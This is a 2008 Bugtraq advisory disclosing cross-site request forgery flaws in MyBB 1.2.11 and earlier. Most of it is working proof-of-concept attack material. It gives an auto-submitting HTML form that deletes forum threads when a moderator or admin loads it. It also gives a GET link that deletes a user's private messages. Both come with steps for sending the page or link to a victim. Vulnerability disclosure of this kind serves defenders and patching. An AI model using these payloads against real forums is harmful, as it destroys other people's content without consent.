bugtraq - MyBB 1.2.11 Multiple XSRF Vulnerabilities

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Date: Fri, 18 Jan 2008 21:50:23 +0100
From: nbbn@....net
To: bugtraq@...urityfocus.com
Subject: MyBB 1.2.11 Multiple XSRF Vulnerabilities

####################################################
Founded: 18, January 2008
Founder: nbbn
MyBB Version: 1.2.11 and lower
Type: Multiple XSRF Vulnerabilities
####################################################

####1) Delete Threads XSRF Vulnerabilitie:

<html>
<head>
</head>
<body onLoad="javascript:document.formular.submit()">
<form action="http://localhost/xampp/mybb/moderation.php" method="post" 
name="formular">
<input type="hidden" name="action" value="do_multideletethreads" />
<input type="hidden" name="fid" value="2" /> <!-- forumid -->
<input type="hidden" name="threads" value="15|14" /> <!-- threadids -->
<input type="submit"  value="Delete Threads" />
</form>


</body>
</html> 

###Poc: 
        1. Create a .html file and copy the code into it. 
        2. Upload the file and now send the link to an admin or moderator
        3. Done



####2) Delete PM's XSRF Vuln:

 This one is only doing via GET and no question: 
http://localhost/xampp/mybb/private.php?action=delete&pmid=3


###Poc: (An easy way): 

 1. Send to a user this link: 
http://localhost/xampp/mybb/private.php?action=delete&pmid=3
 2. Done